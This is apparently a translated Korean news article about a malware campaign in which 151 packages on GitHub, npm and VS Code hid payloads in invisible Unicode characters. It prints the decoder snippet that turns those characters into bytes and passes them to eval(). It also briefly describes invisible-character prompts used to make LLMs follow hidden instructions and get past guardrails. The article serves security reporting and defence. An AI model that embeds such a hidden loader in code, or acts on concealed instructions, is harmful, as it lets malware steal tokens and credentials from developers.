
보이지 않는 코드는 공용 사용 영역(공개 사용 액세스라고도 함)으로 렌더링됩니다. 이는 이모티콘, 플래그 및 기타 기호를 정의할 때 개인용으로 예약된 특수 문자에 대한 유니코드 사양의 범위입니다. 코드 포인트는 컴퓨터에 입력될 때 미국 알파벳의 모든 문자를 나타내지만 그 출력은 인간에게는 전혀 보이지 않습니다. 코드를 검토하거나 정적 분석 도구를 사용하는 사람들은 공백이나 빈 줄만 봅니다. JavaScript 인터프리터의 경우 코드 포인트가 실행 가능한 코드로 변환됩니다.
보이지 않는 유니코드 문자는 수십 년 전에 고안된 후 대부분 잊혀졌습니다. 즉, 해커들이 AI 엔진에 제공되는 악성 프롬프트를 숨기기 위해 문자를 사용하기 시작한 2024년까지입니다. 텍스트는 인간과 텍스트 스캐너에 보이지 않지만 LLM은 텍스트를 읽고 전달하는 악의적인 지침을 따르는 데 거의 어려움을 겪지 않았습니다. 이후 AI 엔진은 캐릭터 사용을 제한하도록 설계된 가드레일을 고안했지만 이러한 방어는 주기적으로 무시됩니다.
그 이후로 유니코드 기술은 보다 전통적인 맬웨어 공격에 사용되었습니다. Aikido가 금요일 게시물에서 분석한 패키지 중 하나에서 공격자는 보이지 않는 문자를 사용하여 악성 페이로드를 인코딩했습니다. 코드를 검사해 보면 아무것도 표시되지 않습니다. 그러나 JavaScript 런타임 중에는 작은 디코더가 실제 바이트를 추출하여 eval() 함수에 전달합니다.
const s = v => (...v).map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
“s()에 전달된 백틱 문자열은 모든 뷰어에서 비어 있는 것처럼 보이지만 일단 디코딩되면 완전한 악성 페이로드를 생성하는 보이지 않는 문자로 가득 차 있습니다.”라고 Aikido는 설명했습니다. “과거 사건에서 디코딩된 페이로드는 솔라나를 전달 채널로 사용하여 토큰, 자격 증명 및 비밀을 훔칠 수 있는 2단계 스크립트를 가져와 실행했습니다.”
GitHub에서 새로운 패키지 라운드를 찾은 이후 연구원들은 npm 및 VS Code 마켓플레이스에서 유사한 패키지를 발견했습니다. Aikido는 발견된 151개의 패키지가 처음 업로드된 이후 많은 패키지가 삭제되었기 때문에 캠페인 전체에 걸쳐 작은 부분일 가능성이 높다고 말했습니다.
공급망 공격의 재앙으로부터 보호하는 가장 좋은 방법은 패키지와 해당 종속성을 프로젝트에 통합하기 전에 주의 깊게 검사하는 것입니다. 여기에는 패키지 이름을 면밀히 조사하고 오타를 검색하는 것이 포함됩니다. LLM 사용에 대한 의심이 맞다면 악성 패키지는 점점 더 합법적인 것처럼 보일 수 있습니다. 특히 눈에 보이지 않는 유니코드 문자가 악성 페이로드를 인코딩하는 경우 더욱 그렇습니다.